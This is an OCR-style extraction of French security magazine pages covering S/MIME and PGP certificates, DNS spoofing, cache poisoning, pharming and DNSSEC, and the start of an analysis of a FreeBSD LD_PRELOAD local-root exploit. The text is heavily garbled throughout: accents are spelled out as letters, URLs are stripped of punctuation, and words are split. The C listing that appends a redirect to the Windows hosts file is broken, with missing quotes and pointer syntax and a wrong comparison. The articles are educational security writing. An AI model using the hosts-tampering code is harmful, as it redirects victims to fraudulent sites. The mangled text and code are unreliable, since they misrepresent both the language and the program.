bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

